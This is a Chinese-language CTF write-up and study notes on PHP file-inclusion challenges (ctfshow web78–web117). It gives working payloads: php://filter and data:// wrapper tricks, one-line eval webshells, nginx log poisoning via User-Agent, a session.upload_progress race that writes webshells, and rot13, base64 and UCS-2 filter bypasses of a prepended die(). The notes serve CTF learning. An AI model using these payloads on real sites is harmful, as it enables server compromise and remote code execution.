文件包含
額,這是一個做題帶學習的一個筆記
算是半做題,半學習的筆記吧,所以能寫的方法和注解都會寫。難免先得啰嗦
由於截圖都是白色背景,所以使用夜間模式(右上角哦~)觀看比較易於區分圖片與瀏覽器背景
web 78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
觀察一下,沒有過濾,可以直接使用功能php://filter偽協議
?file=php://filter/convert.base64-encode/resource=flag.php
也可以用data偽協議
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs=
?file=data://text/plain,<?php system('tac flag.php');?>
也可以嘗試php://input
web 79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
過濾了php,我們還可以使用data協議:
data://text/plain;base64,[commander]
data://text/plain,<?= system('ls');?>
普通data偽協議
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
?file=data://text/plain,<?php system('tac flag.php');?>
但是有點沒懂,我都用了php為什么沒被過濾
騷姿勢:傳入shell(一句話木馬)
?file=data://text/plain,<?=eval($_POST[1])?>
post 1=phpinfo();
雖然說,傳入一個shell有點小題大做,不過姿勢確實有點騷,而且如果遇到一些將flag放在其他位置的題,有個shell找起flag來,也是很舒服的
web 80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
利用日志文件包含,emmm,
include加載的文件都會當做PHP進行解析。如果文件中有PHP代碼,就會執行PHP代碼。不是PHP代碼的部分就會直接輸出。
Nginx的日志文件是/var/log/nginx/access.log,對服務器的請求都會記錄到日志文件中去,所以構造一個有馬的請求(<?php eval($_POST[1]);?>
),再用file包含日志文件。所以就可以執行拿到shell了。
先添加user-agetn:<?= eval($_GET[5]);?>
執行
url?file=/var/log/nginx/access.log&5=phpinfo();
url?file=/var/log/nginx/access.log&5=system('tac fl0g.php');
問題:url的請求也會被包含進去,為啥在url中的馬沒法執行
因為:在get請求的數據會被url編碼(<?
),在進入PHP之前不解碼,所以無法當做PHP代碼執行
web 81
可以繼續日志包含
嗷,也是剛剛才知道(試了一下),如果要用蟻劍連接的話,一句話木馬得用POST傳參。剛剛使用GET方式,雖然能夠拿到shell,但是無法使用蟻劍連接
web 82
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);}else{
highlight_file(__FILE__);
}
因為過濾了.,所以無法導入日志文件了(/var/log/nginx/access.log)
做一個簡單記錄
雖然沒有開啟session,但是如果上傳一個帶有名字的session的值(SESSID aaa),那么會在生成一個/tem/sess_aaa的文件
PHP_SESSION_UPLOAD_PRGRESS,獲取實時文件上傳進度,返回一個json
視頻中的意思是,上傳一個一句話木馬,執行另外一個一句話木馬。(額,大概就是:傳木馬A引木馬B。有點久了,忘了)
由於是寫的腳本,所以也比較方便。而且還能學到一招pyhton文件上傳文件(找了很多地方都沒找到過用python上傳文件的方法),腳本可以導ctfshow的群里找。
提一下,可以在師傅寫的py腳本的data中加上proxy={'http':'127.0.0.1:8080'}
設置代理
理解不了也沒關系(因為我是廢狗,理解不了),可以跟着下面走,下面不用腳本
burp實現條件競爭
首先寫一個html腳本用來上傳文件
<html>
<body>
<form action="http://d052d9f7-57ce-444e-a56f-bb9f12251393.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[test1]);?>');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
備注:將代碼寫到第一個input的value中
好吧,我這個寫的有點問題,不過不影響。上傳腳本並且抓包,
將1.php修改為:<?php file_put_contents('/var/www/html/test2.php','<?php eval($_POST[test2]);?>');?>
注意,兩邊都不需要爆破,一直請求就行,所以在payloads中都做如下設置
然后開始請求,最后訪問url/test2.php
接着tac fl0g.php
即可
由於按理來講不應該知道flag在什么文件中,需要自己發現,所以這里上傳木馬,應該是一個比較好的選擇
利用session.upload_progress進行文件包含和反序列化滲透請看一下這位師傅的文章,理解一下原理。為什么放到后面呢,因為不先體驗一下,弟弟我實在看不懂。
web 83
session_unset();session_destroy();if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);}else{
highlight_file(__FILE__);
}
代碼中將session銷毀了,叭過可以自己創建,換句話說就是可以白嫖上面的方法
可以直接把一句話給寫到這里來,抓包的時候,一樣的效果
web 84
也可以白嫖web 82的方法
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system('rm -rf /tem/*');
include($file);
}else{
highlight_file(__FILE__);
}
代碼中將session刪除了,但是為什么能夠執行呢?
嗷~原來是因為誤打誤撞的將爆破的線程開得比較多,在get的請求線程1剛剛刪除/tem/*,在上傳的線程1中又寫了進去了。簡單來說就是,剛剛刪除完就寫進去了。
web 85
繼續白嫖(都還沒看代碼,就嫖了。。。,用的burp哈)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
額,file指向文件是否存在,如果存在再判斷文件中有沒有<,如果有就die卧槽?為什么能夠嫖呀?
看了一下,200中長度不一樣的結果,成功包含sess_test1的請求,返回是error,error也就是被die了。
有看一下干翻服務器的返回,不過,看不懂。。。。吐了,早知道看看以前的是個啥。
看了一下視頻,說的還是是線程問題,線程開大點。利用條件競爭。不過還是沒看懂。
補充
因為剛剛提到不知道成功請求到的/tem/test1,是什么樣的,所以這里做一個補充。我這里一直使用的burp。
web 84的重開環境,看樣子,請求是請求成功了,但是,唯一一個309的狀態碼是502...
501upload_progress_|a:5:{s:10:"start_time";i:1627393610;s:14:"content_length";i:475;s:15:"bytes_processed";i:475;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"test.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1627393610;s:15:"bytes_processed";i:475;}}}
web 83重開環境 ,也成功了,給人的感覺是,如果include了session文件,那么會有一個upload_progress
web 86
白嫖web82方法
web 87
由於之前有一次做題,不會死亡繞過,恰好這個題很想死亡繞過,所以,必用死亡繞過
先看一下代碼
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
看了一下代碼,發現,需要對$file進行兩次url加密,所以,貌似過濾就全部繞過了
法1:利用 php://filter
所以對$file的構造就是:
$file=php://filter/convert.base64-decode/resource=test2.php進行兩次url加密$file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%35%25%33%64%25%37%34%25%36%35%25%37%33%25%37%34%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
接着說明一下,這里用的是php://filter/convert.base64-decode/resource=test2.php;
php://filter是偽協議的名字;convert.base64-decode是過濾器,對輸入的內容就是進行base64解碼
base64只對 a-z A-Z +] 進行加密解密,所以,<??>
等是直接就不管的,當做看不見了,於是<?php die('別修了');?>
就成了phpdie
。由於base解碼的時候,是4個字符4個字符解碼的。在構造好的base64編碼的一句話木馬前加上兩個字符即可(AA)。
看來一句話木馬中,不能有?>,去掉?>
$content=AAPD9waHAgc3lzdGVtKCdscycpOw==
成功。當然,這里最好是直接傳入一句話木馬,免得一直傳來傳去的。為了方便做筆記,所以就整好看點的。(其實差不多)
看到個一個神奇思路
由於base64將=作為結束的判斷,那么在=后的就不會被解碼
詳細請看一下,里面確實有幾個很巧妙的死亡繞過方式,file_put_content和死亡·雜糅代碼之緣
法2:利用php://filter/write=string.rot13/resource=test10.php
$file=php://filter/write=string.rot13/resource=test10.php
先對$file進行兩次url加密
$file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%34%25%36%35%25%37%33%25%37%34%25%33%31%25%33%30%25%32%65%25%37%30%25%36%38%25%37%30
說明一下:php://filter/write=string.rot13/resource=test10.php
php://filter偽協議名稱write=string.rot13過濾器通道 將傳入的test10.php的字母進行13位平移(凱撒加密,移動13位)
通過13位平移,原來的<?php die('別秀了');?>
也會移動13位,變成<?cuc qvr('別秀了');?>
,這樣就算是繞過die。在線rot轉化工具
<?php eval($_GET[test10]);?>$contnt=<?cuc riny($_TRG[grfg10]);?>
看得見之前上傳的文件
web 88
利用data偽協議,同時進行base64加密,由於過濾了=,所以可以在構造的 命令中添加上空格
?file=data://text/plain;base64,PD9waHAgICAgIHN5c3RlbSgndGFjIGZsMGcucGhwJyk7
web 116
不會,后來再補
web 117
highlight_file(__FILE__);
error_reporting(0);function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
看樣子,應該是一死亡繞過,在web87說了一點死亡繞過的方式和原因,這里就不再說了。多看看其它師傅博客,然后實操一下就明白了。
這里看到了,沒有過濾php://filter
所以這里還是打算用這個繞過,emmm但是過濾了base64,多以就沒法繞過了。
看了看一個新的死亡繞過方式,利用convert.iconv.UCS-2LE.UCS-2BE
過濾器,這個是將前后兩個字符進行交替(abcd==>badc),所以寫入文件的<?php die();?>
就會被擾亂,從而繞過。
? file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=test5.phpcontents=?<hp pvela$(P_SO[Tt"se5t]";)>?
訪問test5.php
傳入的contents需要我們先自己手動替換,這里給一個弟弟寫的腳本進行前后替換(只是針對兩個字符替換,PHP腳本對;有點)
str1="<?php eval($_POST['test5']);?>";
str2=''
for i in range(0,len(str1)):
if i%2==0:
if i+1<len(str1):
str2=str2+str1[i+1]
if i+1==len(str1):
str2=str2+str1[i]
if i%2==1:
str2=str2+str1[i-1]
#print(i)
print('content='+str2)
print(len(str1))
偽協議使用
file_put_content和死亡·雜糅代碼之緣騷姿勢也多
php://filter 讀出文件
?file=php://filter/convert.base64-encode/resource=flag.php
$file=php://filter/convert.base64-decode/resource=test2.php 用來死亡繞過
輸入數據前后交換
? file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=test5.php
contents=?<hp pvela$(P_SO[Tt"se5t]";)>?
php://filter 寫入文件
?file=php://filter/write.string-rot13/resource=test1.php
post $content=<?cuc riny($_TRG[grfg10]);?>
php://input 以PHP方式執行傳入的DATA
php://input |post DATA
data://text 將傳入的數據當做PHP解析執行
使用base64加密的data協議的時候,貌似不能使用?,雖然原理還不知道為什么,不過先記下了,想必是因為語言自身結構的問題,和協議沒太大關系
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs=
?file=data://text/plain,<?= system('tac flag.php');?>
日志包含
- 在user-agent中寫入馬,執行一次;引入日志文件,getshell
session
利用session.upload_progress進行文件包含和反序列化滲透
文章中的鏈接全是參考,就沒有再列出了
因為是學習,難免會留下問題,如果師傅們認為有什么不正確的地方,請斧正斧正,謝謝~